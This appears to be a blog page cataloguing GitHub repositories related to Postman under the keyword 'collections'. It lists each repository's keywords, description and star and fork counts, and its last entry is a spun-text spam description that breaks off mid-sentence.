Search for "Postman" on GitHub

When you search for "Postman" on GitHub you get back 7,404 (6,200 when I started this work). Whether you are searching through the GitHub UI or API you are limited to pulling the first 1,000 results, introducing some significant constraints if you want to pull the entire datasets. To pull the data incrementally over time across a wide vocabulary I created a Postman collection to do the hard work, storing the data in a Postman environment. At about 5,100 records, working within Postman became unwieldy and I published the data to a custom external system for processing.

After developing the vocabulary to help me search for GitHub results, narrowing down the search scope for each request I was eventually able to get all of the results, but then also was able to develop a way of viewing results, helping me filter, sort, and make sense of the different types of projects being built on GitHub using Postman. While there is still a significant amount of work to be done on the vocabulary I am using to bring this all into focus, I think it is beginning to paint a pretty dynamic picture of what is happening across the API landscape using Postman.

Results by Top 500 Keywords (Top 100 Keywords) (Brands) (Languages) (Standards) (Users)

This displays results by the top 500 keywords in use across the GitHub search results, showing the top layers of the Postman community.

collections (294 listings) (Back to Top)

postmanlabs/postman-app-support
collection, collections, complex, efficient, quickly, struct, support 		Postman helps you be more efficient while working with APIs. Using Postman, you can construct complex HTTP requests quickly, organize them in collections and share them with your co-workers. 4326 stars 4326 watchers 639 forks
aubm/postmanerator
collection, collections, document, documentation, generator 		A HTTP API documentation generator that use Postman collections 448 stars 448 watchers 65 forks
microsoftgraph/microsoftgraph-postman-collections
collection, collections, description, graph, microsoft, script 		No description available. 130 stars 130 watchers 43 forks
loadimpact/postman-to-k6
collection, collections, script 		Converts Postman collections to k6 script code 84 stars 84 watchers 20 forks
davidevernizzi/docman
collection, collections, document, documentation, generate, postman collection, postman collections 		A simple page to generate documentation from postman collections 46 stars 46 watchers 18 forks
postmanlabs/covid-19-apis
collection, collections, covid, source 		Postman COVID-19 API Resource Center—API collections to help in the COVID-19 fight. 38 stars 38 watchers 10 forks
djfdyuruiry/swagger2-postman-generator
bodies, collection, collections, generate, generator, sample, swagger, swagger2 		Use Swagger v2 JSON Collections to generate Postman v1 collections which include sample request bodies 28 stars 28 watchers 14 forks
SAP-samples/sapbydesign-api-samples
collection, collections, consume, design, enable, enables, sample, samples, service, services, user, users 		A set of Postman collections that enables users to consume SAP Business ByDesign web services. 24 stars 24 watchers 22 forks
fbenz/restdocs-to-postman
collection, collections, docs, rest, snippet, snippets 		Converts Spring REST Docs cURL snippets to Postman and Insomnia collections 31 stars 31 watchers 5 forks
loadimpact/postman-to-loadimpact
collection, collections, form, scenario, user 		DEPRECATED - Transform Postman collections to Load Impact Lua user scenarios 26 stars 26 watchers 9 forks
rupeshmore/dakiya
collection, collections, convert, converts, dakiya, script, scripts, test, testing, tool 		Dakiya: converts Postman collections to load testing tool scripts 25 stars 25 watchers 6 forks
SabreDevStudio/postman-collections
collection, collections, demonstrating, file, files, rating 		Postman files demonstrating how to call and use APIs found in the Sabre Dev Studio portfolio. 19 stars 19 watchers 17 forks
lfalck/AzureRestApiPostmanCollections
action, collection, collections, developer, developers, integration, system, systems 		Postman collections to simplify interaction with the Azure REST APIs, focusing on those relevant for systems integration developers. 16 stars 16 watchers 7 forks
heremaps/postman-collections
collection, collections, maps 		Postman collections for HERE REST APIs. 0 stars 0 watchers 35 forks
hkamel/azuredevops-postman-collections
azure, collection, collections, common, devops, test 		The collections allows you to test common Azure DevOps Rest APIs from within Postman. 0 stars 0 watchers 35 forks
poynt/postman-runner
collection, collections, module, runner 		A module to run a POSTMAN collections. 0 stars 0 watchers 35 forks
Tufin/postman
collection, collections 		Postman collections for Tufin REST APIs 13 stars 13 watchers 2 forks
experiandataquality/postman-collections
collection, collections, data, experian, quality 		Experian Data Quality Postman collections 3 stars 3 watchers 18 forks
solidfire/postman
collection, collections, multiple, version, versions 		Pre-built Postman (getpostman.com) collections for multiple versions of Element OS 9 stars 9 watchers 6 forks
grantorchard/postman-collections
collection, collections, description, grant, script 		No description available. 10 stars 10 watchers 3 forks
pivotaltracker/postman-collections
collection, collections, description, script, track, tracker 		No description available. 10 stars 10 watchers 2 forks
src-system42/cognito-postman-templates
cognito, collection, collections, endpoint, endpoints, system, template, templates, test 		Generator for creating Postman collections to test Cognito endpoints. 9 stars 9 watchers 4 forks
UnexpectedEOF/paypal-rest-postman-collections
client, collection, collections, expect, file, files, rest 		A couple of PayPal API collection files for the Postman REST client. 0 stars 0 watchers 18 forks
panz3r/apidoc-postman
apidoc, collection, collections, generate, tool 		A tool to generate Postman collections from apiDoc Inline Documentation 7 stars 7 watchers 3 forks
CiscoDevNet/postman-webex
collection, collections, webex 		Postman collections for Webex REST APIs 0 stars 0 watchers 16 forks
auth0/postman-collections
auth, auth0, collection, collections, public 		Postman collections for Auth0 public APIs 4 stars 4 watchers 7 forks
darshanasbg/postman-collections
collection, collections, template, templates 		Postman request templates 5 stars 5 watchers 4 forks
leverdeterre/postman
collection, collections 		Postman iOS app to edit/execute Postman collections 5 stars 5 watchers 1 forks
CiscoDevNet/postman-xapi
collection, collections 		Postman collections for Webex Devices 0 stars 0 watchers 10 forks
e-XpertSolutions/postman-collection
collection, collections 		Various Postman collections 5 stars 5 watchers 0 forks
kszafran/dnac-api
collection, collections, form 		Postman collections for Cisco DNA Center Platform APIs 3 stars 3 watchers 2 forks
aWhereAPI/API-Postman-Collections
application, coding, collection, collections, form, free, play, playing 		Use these Postman collections to start playing with the aWhere API Platform without coding. Requires the free Chrome application, Postman, from getpostman.com 0 stars 0 watchers 8 forks
philosowaffle/postman_collections
collection, collections, description, script 		No description available. 3 stars 3 watchers 1 forks
DannyDainton/basic-newman-slack-bot
collection, collections, environment, environments, express, newman, slack, straight 		A basic express app that allows you to run Postman collections against different environments with Newman, straight from Slack. 0 stars 0 watchers 6 forks
faressoft/postman-runner
active, collection, collections, interactive, interactively, postman collection, postman collections, product, productivity, runner, tool 		CLI productivity dev tool to run postman collections interactively 3 stars 3 watchers 0 forks
tomshy/PaymentGatewaysKe
collection, collections, list, postman collection, postman collections 		Here is a list of postman collections for Kenyan Payment Gateways 3 stars 3 watchers 0 forks
folio-org/folio-api-tests
backend, collection, collections, module, modules, postman collection, postman collections, test, tests 		FOLIO postman collections for backend modules 0 stars 0 watchers 6 forks
michaelruocco/gradle-postman-runner
collection, collections, gradle, plugin, runner 		A gradle plugin to run Postman collections 0 stars 0 watchers 6 forks
DatavenueLiveObjects/Postman-collections-for-Live-Objects
collection, collections, function, functional, functionalities, sample 		This is sample to use full functionalities of Live Objects 2 stars 2 watchers 1 forks
leprechau/swag2pm
collection, collections, document, documentation, feeds 		PHP Script to create Postman collections from Swagger API documentation feeds 2 stars 2 watchers 1 forks
messagemedia/PostmanCollections
collection, collections, media, message, postman collection, postman collections 		postman collections for available APIs 2 stars 2 watchers 1 forks
adamenagy/MyPostmanCollections
collection, collections, environment, environments, related 		Postman related collections and environments 0 stars 0 watchers 5 forks
elioncho/apikiller
collection, collections, config, configure, endpoint, execution, form, test, testing, tool 		Simpe and easy to use load testing tool for your Postman collections. Perform a load test on any endpoint. You can configure the execution time and amount of requests per second. 2 stars 2 watchers 0 forks
exivity/postman-collections
collection, collections, exivity, postman collection 		📬 The Exivity API postman collection 2 stars 2 watchers 0 forks
Xantier/bound-ttr
assert, assertion, boundary, collection, collections, data, database, framework, test, testing 		Automated boundary testing framework based on Postman collections and database assertions 2 stars 2 watchers 0 forks
xiaodongliang/bim360-mcapi-postman.test
collection, collections, test 		This repository provides two collections of Postman,one follows API Reference, the other follows Tutorials of Model Coordination API. 2 stars 2 watchers 0 forks
velizarn/postman-ocapi-collections
collection, collections 		Postman collections for SFCC OCAPI 1 stars 1 watchers 2 forks
iaincollins/jess
collection, collections, convert, converts, jess 		Jess converts Postman API collections to JavaScript libraries 2 stars 2 watchers 0 forks
normand1/FlightRecorder
collection, collections, data, json, light, mock, order, postman collection, postman collections 		Update mock data json responses from your APIs using postman collections 2 stars 2 watchers 0 forks
smallcampus/postmgn
collection, collections, environment, environments, export, import, postman collection, postman collections, tool 		A tool that helps import and export postman collections + environments 2 stars 2 watchers 0 forks
jarroda/ServiceStack.Api.Postman
collection, collections, generate, generated, plugin 		A ServiceStack plugin providing auto-generated Postman collections 0 stars 0 watchers 4 forks
postmanlabs/newman-orb
circleci, collection, collections, http, https, newman, running 		CircleCI Orb for running collections with Newman - https://circleci.com/orbs/registry/orb/postman/newman 0 stars 0 watchers 4 forks
api-evangelist/aws
collection, collections, list 		These are the AWS Postman collections. 0 stars 0 watchers 3 forks
cermegno/Project-Vision
collection, collections, product, products, storage 		Project Vision - Postman collections for DellEMC's block storage products 1 stars 1 watchers 1 forks
kecorbin/aci-postman
collection, collections 		Postman collections for Cisco APIC 1 stars 1 watchers 1 forks
Phara0h/Postgen
client, collection, collections, convert, node, postman collection, postman collections, script 		A simple node script to convert postman collections to clean REST client libs for node. 1 stars 1 watchers 1 forks
donotello/postman-shared-utils
collection, collections, note, shared, util, utils 		Repository contains shared utils that can be used in Postman collections. 1 stars 1 watchers 1 forks
empeje/midtrans-iris-collections
collection, collections, fork, free, iris, maintained, official 		[Unofficial] Postman Collections for Midtrans' Iris Disbursement Service | Not maintained anymore, feel free to fork! 1 stars 1 watchers 1 forks
hanikhan/postman-collection-runner
collection, collections, export, exported, generate, module, newman, report, reports, runner 		Uses postman's newman module to run exported POSTMAN collections and generate detailed reports 1 stars 1 watchers 1 forks
paulallies/postman
collection, collections, postman collection, postman collections 		A repository with all postman collections 1 stars 1 watchers 1 forks
Bisnode/api-stuff
collection, collections, guide, guidelines, lines, node, postman collection, postman collections, spec, specification, specifications 		Repository for api specifications, postman collections and api guidelines. 0 stars 0 watchers 3 forks
MikShel/adform-api-postman-collections
collection, collections, description, form, script 		No description available. 0 stars 0 watchers 3 forks
shivkanthb/curlx
charge, collection, collections, curl, history 		◼️ Supercharge curl with history, collections and more. 0 stars 0 watchers 3 forks
api-evangelist/api-governance-postman-collections
collection, collections, design, designed, governance, list, managed 		These are Postman collections designed for applying API governance to APIs being managed using Postman. 1 stars 1 watchers 0 forks
ashwanikumar04/gulp-postcol
collection, collections, java, module, place, postman collection, postman collections, replace, script 		This is gulp module to replace java script code in the postman collections 1 stars 1 watchers 0 forks
enqueuer-land/enqueuer-postman-converter
collection, collections, convert, converte, converter, enqueuer, plugin, postman collection, postman collections 		Enqueuer plugin to convert postman collections into enqueuer requisitions 1 stars 1 watchers 0 forks
ivansams/PostmanCollectionSorter
collection, collections, history, match, object, order, output, random, sort, source, version 		Cmd line app to sort the requests within Postman collections to match the order object. Postman randomly shuffles requests when outputting collections in order to make source control difficult even with minor changes. If this is run before each update to a collection, it allows you to see incremental changes to each version in history instead of the entire collection being shuffled. 1 stars 1 watchers 0 forks
jedlee2004/postman-to-load
collection, collections, convert, options, package, postman collection, postman collections, test, tests 		Tool to convert postman collections into load tests options and run them with the npm loadtest package 1 stars 1 watchers 0 forks
mohamed-abdo/performance-load-test
api blueprint, asyncapi, collection, collections, data, ecosystem, express, form, json schema, local, oauth, openid, parallel, performance, postman collection, postman collections, result, running, sql, store, system, test, tests, unit 		Performance parallel load test ecosystem based on running postman collections in parallel in addition to capture test performance counters, and unit tests results; Exporting all results to (local) data store (sql express). 1 stars 1 watchers 0 forks
ryandgoulding/odl-netconf-postman
collection, collections, light 		Some Postman collections for OpenDaylights Netconf Project 1 stars 1 watchers 0 forks
adform/Adform-Postman-Collections
collection, collections, form 		This repository contains Adform API Postman collections 0 stars 0 watchers 2 forks
cmgrote/ibm-igc-postman
collection, collections, environment, environments, form, format, interacting 		Postman collections and environments for more easily interacting with IBM Information Governance Catalog's REST API 0 stars 0 watchers 2 forks
DigitalGlobe/Postman
collection, collections 		Open Source POSTman collections. 0 stars 0 watchers 2 forks
ForgeRock/obri-postman
collection, collections, public 		Versioning of our collections, publicly available 0 stars 0 watchers 2 forks
fortinet-solutions-cse/postman_collections
collection, collections, multiple, solution, solutions, workshop, workshops 		Placeholder for multiple Postman collections for different workshops 0 stars 0 watchers 2 forks
GreaterMKEMeetup/spring-restdocs-postman
collection, collections, docs, extension, import, importable, portable, rest, spring 		A Spring REST Docs extension that produces importable Postman collections. 0 stars 0 watchers 2 forks
castle/postman
collection, collections, environment, environments 		Postman collections and environments 1 stars 1 watchers 0 forks
elliotberry/awesome-postman-collections
attempt, collection, collections, development, list 		An attempt to exhaustively list Postman collections for rapid API development. 1 stars 1 watchers 0 forks
FRINXio/Postman
collection, collections, environment, environments, instruction, struct 		The API for Frinx. Contains Postman collections and environments. See README below for usage instructions. 1 stars 1 watchers 0 forks
gregambrose/ApiToPostman
collection, collections, import, imported 		Takes HTTP requests and makes them into collections that can be imported into POSTMAN 1 stars 1 watchers 0 forks
justinmccoy/postman-collections
collection, collections, simplifying, test 		My Postman API Collections, simplifying usage, test, and sharing 1 stars 1 watchers 0 forks
mattcowen/postman
collection, collections, postman collection, postman collections 		Hopefully useful postman collections 1 stars 1 watchers 0 forks
nickrusso42518/postman
collection, collections, environment, environments, sort 		Assortment of Postman collections/environments 1 stars 1 watchers 0 forks
nicolsc/postman-collections
collection, collections, description, script 		No description available. 1 stars 1 watchers 0 forks
rwilcox/postal_clirk
collection, collections, export, exported, postman collection, postman collections, single 		Ever wanted to set up or run a single Postman request from exported postman collections. Here you go. Simple Postman requests only 1 stars 1 watchers 0 forks
teddychan/postman-collections
collection, collections, engine, import, list, test 		The list of Postman Collections, easier for engineer to import and test API. 1 stars 1 watchers 0 forks
waffleman45/Postman
collection, collections, daily 		A repository for the Postman collections that we run on a daily basis. 1 stars 1 watchers 0 forks
billkable/cnd-postman-collections
collection, collections 		Postman Collections for CND Course 0 stars 0 watchers 2 forks
idlem1nd/postman-pat
collection, collections, discover, multiple, postman collection, postman collections, sequence 		Runs multiple postman collections in sequence, discovers vars by naming convention 0 stars 0 watchers 2 forks
bigzoo/matuba_api
collection, collections, hackathon, http, https, transport 		Backend API during Where is transport hackathon. Postman Collection here: https://www.getpostman.com/collections/f3132fdfe959ba3f60c9 1 stars 1 watchers 0 forks
manigandand/Simple-Issue-Tracker-V2-SIT-
collection, collections, http, https 		Aircto Test - Simple Issue Tracker V2 (SIT). Postman Collection: https://www.getpostman.com/collections/7c8f1844ca96f5e1b859 1 stars 1 watchers 0 forks
Onboard-Informatics/postman-collections
collection, collections, form, format 		Pre-built Postman collections for the Property and Area APIs 1 stars 1 watchers 0 forks
Malligarjunan/apigateway
collection, collections, developer, gateway, postman collection, postman collections, sample, samples, tutorial, tutorials 		API Gateway postman collections of APIs and developer tutorials samples 0 stars 0 watchers 2 forks
MojoNetworksInc/Postman-Collections
collection, collections, modify, native, user, users 		API collections created in Postman that Mojo Cloud users can modify and run by using the native Postman app. 0 stars 0 watchers 2 forks
Ne4istb/postman-combine-collections
collection, collections, combine, command, command line, tool 		A command line tool to combine several Postman collections into one 0 stars 0 watchers 2 forks
nuzil/magento-postman
agent, collection, collections, magento, storage 		This Repo is a storage of Postman collections for Magento 0 stars 0 watchers 2 forks
upgundecha/postman-sample
collection, collections, sample 		Running Postman collections using Newman using AWS CodePipeline 0 stars 0 watchers 2 forks
api-evangelist/nexmo
collection, collections, list, managing, postman collection, postman collections 		This is a repository for managing postman collections. 0 stars 0 watchers 1 forks
ashwanikumar04/postman-collections-scripts
collection, collections, json, script, scripts, segregated 		This shows the usage to update segregated scripts from collections json and then merge them using gulp 0 stars 0 watchers 1 forks
CiscoDevNet/cisco-postman-collections
cisco, collection, collections 		Lots of Cisco Postman Collections 0 stars 0 watchers 1 forks
CiscoDevNet/stealthwatch-enterprise-sample-postman
collection, collections, enterprise, interacting, sample, stealthwatch 		Postman collections for interacting with Cisco Stealthwatch Enterprise APIs 0 stars 0 watchers 1 forks
ehsanranjbar/postman-collection
collection, collections, library 		A library for creating Postman collections in Go 0 stars 0 watchers 1 forks
evmon/autotests
autotest, collection, collections, test, tests 		Autotest for Postman collections 0 stars 0 watchers 1 forks
flash286/postman-load-testing
collection, collections, lang, newman, parallel, postman collection, postman collections, runner, test, testing, tool 		This tool written on go lang, help to run postman collections in parallel mode. So you can use it for load testing based on postman collections. As a runner it uses newman. 0 stars 0 watchers 1 forks
dare-rider/restaurant_reservation_api
4107, collection, collections, http, https, reservation, rest, restaurant 		Postman Collection Link: https://www.getpostman.com/collections/c874107058b288d51bfc 0 stars 0 watchers 1 forks
ITV/pmpact
collection, collections, command, command line, convert, file, files, tool 		A command line tool to convert Pact files to Postman collections. 0 stars 0 watchers 1 forks
jamesholcomb/Postman.WebApi.MsBuildTask
collection, collections, generate 		An MsBuild Task to generate Postman 3 collections 0 stars 0 watchers 1 forks
LogansUA/blizzard-api-postman-collections
blizzard, collection, collections 		Collection of Blizzard API Postman Collections 0 stars 0 watchers 1 forks
asanchezgiraldo/postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 1 forks
bharath411/testrail
collection, collections, postman collection, postman collections, rest, restapi, test, testrail 		This repository contains testrail restapi requests in postman collections. 0 stars 0 watchers 1 forks
ramadhan22/api_laravel
collection, collections, http, https, laravel 		Link postman https://www.getpostman.com/collections/ecb538f54650f76a4444 0 stars 0 watchers 1 forks
umer-ali-khan/mapbox-postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 1 forks
josephbuchma/postman-ruby
collection, collections, export, exported, http, ruby 		Parse & make http requests from Postman's (getpostman.com) exported collections (Collection V2) 0 stars 0 watchers 1 forks
microsoft/Partner-Center-Postman
collection, collections, microsoft 		Postman collections for the Partner Center API 0 stars 0 watchers 1 forks
nishtahir/postman-to-markdown
collection, collections, document, documents, markdown 		Convert postman v2 collections to Markdown documents 0 stars 0 watchers 1 forks
ntiss/postmanToStoplightConverter
collection, collections, convert, converts, environment, environments, light, tool 		This tool converts Postman collections (or environments) to Stoplight collections (or environments) 0 stars 0 watchers 1 forks
payhubbuilder/payhub-postman_tests
builder, collection, collections, payhub, test, tests 		Various Postman test collections for PayHub APIs. 0 stars 0 watchers 1 forks
postmanlabs/raml1-to-postman
collection, collections, spec, specs 		Converter for RAML1.0 specs to Postman v2 collections 0 stars 0 watchers 1 forks
timrsfo/postman-magento
agent, collection, collections, docker, dockerized, environment, environments, implements, magento 		dockerized-magento 1.9x implements OAuth 1.0a REST Api. Postman environments, collections 0 stars 0 watchers 1 forks
VeeamHub/veeam-postman
collection, collections, solution, solutions, veeam 		Postman collections for various Veeam solutions. 0 stars 0 watchers 1 forks
abhishekalai/pmts
collection, collections, convert, document, documentation, postman collection, postman collections, slate, tool 		cli tool to convert postman collections to slate documentation page 0 stars 0 watchers 0 forks
adamwads/postman-collections
collection, collections, newman 		postman-collections for use with CLI newman 0 stars 0 watchers 0 forks
adrian-kriegel/express-postman-router
collection, collections, express, postman collection, postman collections, route, router, source 		Automatically create postman collections from source code. 0 stars 0 watchers 0 forks
allenheltondev/newman-pro
collection, collections, environment, environments, newman, pull, test, version 		Newman Runner that uses the Postman-Pro api to pull the latest version of your collections and environments 0 stars 0 watchers 0 forks
anandrajneesh/ParameterizePostmanCollection
collection, collections, parameter 		For all those people who don't want to parameterize their existing collections manually 0 stars 0 watchers 0 forks
ashishnipane-xeb/postman-sample
collection, collections, postman collection, postman collections, sample 		Running postman collections using Newman in AWS CodePipe line using AWS CodeCommit & CodeBuild 0 stars 0 watchers 0 forks
bharath5412/postmanerator
collection, collections, test, tool, version 		Updating postmanerator tool to use latest collections 2.1 version 0 stars 0 watchers 0 forks
box-devrel/box-postman-backup
backup, collection, collections 		A backup of the Box Postman collections 0 stars 0 watchers 0 forks
call-a3/api-blueprint-to-postman
blueprint, collection, collections, file, files, postman collection, postman collections, print 		Converts Blueprint files to postman collections 0 stars 0 watchers 0 forks
cloud-elements/example-postman-collections
cloud, collection, collections, element, elements, example, form 		Example Postman Collections using the Cloud Elements Platform APIs 0 stars 0 watchers 0 forks
codejamninja/mockgen
collection, collections, data, mock, postman collection, postman collections, swagger 		Generate mock data from postman collections or swagger data 0 stars 0 watchers 0 forks
cscawley/api-load-testing
collection, collections, light, postman collection, postman collections, single, test, tester, testing, threaded 		A light API load tester (single-threaded). Using postman collections and Newman. 0 stars 0 watchers 0 forks
DavidUser/postman-files
collection, collections, file, files, postman collection, postman collections, system 		Edit postman collections as simple system files 0 stars 0 watchers 0 forks
digitaleo/api-tutorials
collection, collections, digital, index, tutorial, tutorials 		This repository indexes some Postman collections to help you take in hand Digitaleo APIs 0 stars 0 watchers 0 forks
digitickets/postman-collections-api
collection, collections, demonstrate, digitickets, ticket, tickets 		Postman collections to demonstrate use of the DigiTickets API 0 stars 0 watchers 0 forks
donzef/Postman-Redfish-Collections
collection, collections, server, servers 		Postman collections for Redfish requests against HPE servers 0 stars 0 watchers 0 forks
dparne/postman-cli
collection, collections, command, command line, download, downloading, interface, running 		A command line interface for downloading and running Postman collections 0 stars 0 watchers 0 forks
dreamfactorysoftware/dreamfactory-postman-collection
actor, collection, collections, host, hosting, play, software 		A repository for hosting plug-n-play Postman collections 0 stars 0 watchers 0 forks
dyaigs/postman
collection, collections 		Postman collections for Dynatrace REST APIs 0 stars 0 watchers 0 forks
e-attestations/ea-api-rest-postman
collection, collections, rest, stat, test 		Postman collections for e-Attestations API REST 0 stars 0 watchers 0 forks
Earthport/rest-api-postman
client, clients, collection, collections, integration, rest, test 		This repository contains Postman collections to help Earthport clients test their integration into Earthport's APIs 0 stars 0 watchers 0 forks
etuchscherer/postman2curl
collection, collections, command, commands, convert, converting, curl, postman collection, postman collections, util, utility 		A Gem utility for converting postman collections into curl commands. 0 stars 0 watchers 0 forks
fjelltopp/meerkat_integration_tests
collection, collections, countries, integration, test, tests 		Postman collections to test meerkat full stack for countries. 0 stars 0 watchers 0 forks
flascelles/synthetic-API-traffic-generation
collection, collections, general, generate, generation, model, models, postman collection, postman collections, script, scripts, traffic, training 		scripts and postman collections to generate synthetic api traffic for training ML models and general purposes 0 stars 0 watchers 0 forks
gmanideep1991/gradle-newman-runner
collection, collections, development, generate, gradle, newman, postman collection, postman collections, report, reports, runner 		Run postman collections and generate reports. Still in development. 0 stars 0 watchers 0 forks
3lectron/postman-collections
collection, collections, related 		My own postman-related collections 0 stars 0 watchers 0 forks
afiqveltra/postman
collection, collections, postman collection, postman collections, store, stored 		stored postman collections 0 stars 0 watchers 0 forks
alexadrien/postmancollections
collection, collections, postmancollections, site, website 		Postman collections website 0 stars 0 watchers 0 forks
barbaracabral/postman_newman_example
collection, collections, example, export, newman, test 		Exemplo de Testes Automatizados exportando as collections com testes do postman e executando com o Newman 0 stars 0 watchers 0 forks
bgurnani/newman
collection, collections, newman, postman collection, postman collections 		postman collections 0 stars 0 watchers 0 forks
bmamlin/openmrs-contrib-postman-collections
collection, collections 		Collections of Postman REST calls 0 stars 0 watchers 0 forks
bnaddison/Postman-Load-Testing-App
application, collection, collections, source, test, testing 		An open source and simple application for load testing with Postman collections using Newman. 0 stars 0 watchers 0 forks
brionmario/postman-collections
collection, collections, import, postman collection, postman collections 		A repo to house important postman collections 0 stars 0 watchers 0 forks
brodoyoueventest-io/openweathermap
collection, collections, environment, environments, event, test, testing, weather 		Postman collections and environments for testing the OpenWeatherMap API 0 stars 0 watchers 0 forks
bt-dd/Postman_WorkSpace_Downloader
collection, collections, environment, environments, fetch, workspace 		Recursively fetches all Postman collections/environments by workspace using the Postman API 0 stars 0 watchers 0 forks
coding-eval-platform/postman
coding, collection, collections, environment, environments, form, platform 		Repository containing postman stuff, such as collections and environments 0 stars 0 watchers 0 forks
comecero/postman
collection, collections, test, testing 		Postman collections for API testing 0 stars 0 watchers 0 forks
ctrowbridge/postman
bridge, collection, collections 		Postman collections 0 stars 0 watchers 0 forks
darrensmith/api-collections
collection, collections, previous, system, systems 		Just a set of Paw and Postman API collections for various systems that I've worked with previously 0 stars 0 watchers 0 forks
davepile/postman-collection-builder
builder, collection, collections 		Build Postman collections from JS 0 stars 0 watchers 0 forks
davidjgonzalez/swagger-to-postman-collections
collection, collections, description, script, swagger 		No description available. 0 stars 0 watchers 0 forks
decisions-com/postman-collections
collection, collections, illustrate 		Collections for use in post man that illustrate different capabilities. 0 stars 0 watchers 0 forks
devinrader/Twilio-postman
collection, collections, simulate, webhook 		A set of collections for POSTman that let you simulate Twilio webhook requests 0 stars 0 watchers 0 forks
didrikhegna/postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
DigiBP/digibp-postman
collection, collections, environment 		This repository contains Postman collections and environment code. 0 stars 0 watchers 0 forks
DMoha/Postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
dougbass/connectall-postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
dpkgeeky/postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
emailwizard/emailwizard-postman
collection, collections, email, emailwizard, mail, test, testing 		Postman collections which are useful for emailwizard API testing 0 stars 0 watchers 0 forks
gustavosvalentim/postrunner
collection, collections, runner 		Library to run Postman collections using Python. 0 stars 0 watchers 0 forks
hackndoes/postman
collection, collections 		postman-collections 0 stars 0 watchers 0 forks
hackoregon/postman-collections
collection, collections, test, testing 		Postman Collection Exports for API testing 0 stars 0 watchers 0 forks
himanverma/api-docs
collection, collections, docs, export 		Create Documentations for your APIs and export them to POSTMAN collections 0 stars 0 watchers 0 forks
IoBuilders/ioCash-APIs-Postman-collections
collection, collections, library 		Postman library with all the APIs available ioCash 0 stars 0 watchers 0 forks
ivansams/PostmanCleaner
client, collection, collections, source 		Cmd line app to aid source control of Postman (API client) collections. 0 stars 0 watchers 0 forks
jaxxstone/postman-collections
automat, automation, collection, collections, copied, grant, test, testing 		copied from /grantorchard for testing vRA automation 0 stars 0 watchers 0 forks
XtinaSchelin/rapid7_mvm_postman
collection, collections, rapid7 		Rapid7 InsightVM Postman collections. 0 stars 0 watchers 0 forks
andreiAndrade/postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
anurag8867/LoginSignUpNodeJs
collection, collections, http, https, link 		postman link: https://www.getpostman.com/collections/5193609d92a73906c0ae 0 stars 0 watchers 0 forks
anushaengu/Postman-Pro-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
armin-abbasi/postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
bellsraafi/postman_httpbin_collections
collection, collections, description, http, script 		No description available. 0 stars 0 watchers 0 forks
bgarlow/postman-collections-public
collection, collections, description, public, script 		No description available. 0 stars 0 watchers 0 forks
bwolmarans/bwaf-postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
difi/eid-postman-test-collections
collection, collections, test 		Backup av postman køyring 0 stars 0 watchers 0 forks
iamwillmassey/postman-collections-ui
collection, collections, description, mass, script 		No description available. 0 stars 0 watchers 0 forks
jchanler/jlc-postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
jcrosswh/vtc-postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
johan-mattsson/postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
johntron/postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
joyous-joyce/postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
js4otto/postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
jwilliamson/postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
loopDelicious/postman-collections-backup
backup, collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
mappcpd/postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
michelfrance/collections-postman-ilbe
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
miroslavmacko/postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
p-saxena/postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
scrambldchannel/my-postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
Srisaibersys/postman_collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
sudipto1304/postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
tamanle23/postman_collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
timway/postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
twiindan/postman_collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
vanthi01/postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
yczcc/postman-collections
collection, collections, description, script 		No description available. 0 stars 0 watchers 0 forks
antishkova/postman_collections_ud
collection, collections 		в рамках курса юдеми 0 stars 0 watchers 0 forks
antonioortegajr/postman-tests
collection, collections, example, examples, generic, mostly, reference, test, tests, writing 		I like writing tests in postman for my collections. This repo is generic examples of these tests for mostly my own reference. 0 stars 0 watchers 0 forks
gouravjixer/Informal-letter-format
address, application, business, case, collection, collections, compose, creation, design, download, exercise, form, format, instruction, issue, letters, message, messages, method, school, secure, secured, sort, sorted, spec, steem, struct, test, tests, to do, user, util, utilization, welcome 		Casual Letter Format Sample is as yet a fundamental ability being in the realm of messages and messages. Each individual needs to compose letters in a few or other way. Letters for an occupation application, protests, thank you, asking for something, recommending something and so forth are in pattern might be in a business field or in school period. It likewise has its favorable circumstances. Empowering understudies in early ages for composing casual letter organize CBSE will enhance their relational abilities, include certainty, enhancing penmanship aptitudes, and make them think about composing organization and utilizations and its organizing that how formal and casual letters vary and make significance. The most effective method to compose a casual letter design Composing a casual letter arrange in English professionally is better and make your esteem. A casual letter can be composed in any criteria or way you can pick however composing it in a sorted out way will make its esteem. You ought to take after the organization in like manner. Right off the bat comes the opening: in this one should know how to address the peruser legitimately in a casual way. This ought to be direct and begin by specifying the name of the individual with a sweet welcome. What's more, begin your letter like, 'how are you?', 'trust you are fine.' Etc. The body: the body ought to be composed in a well disposed and individual tone. Consider your genuine relations and issues and begin composing it in like manner tone and dialect. Shutting: here one condenses their 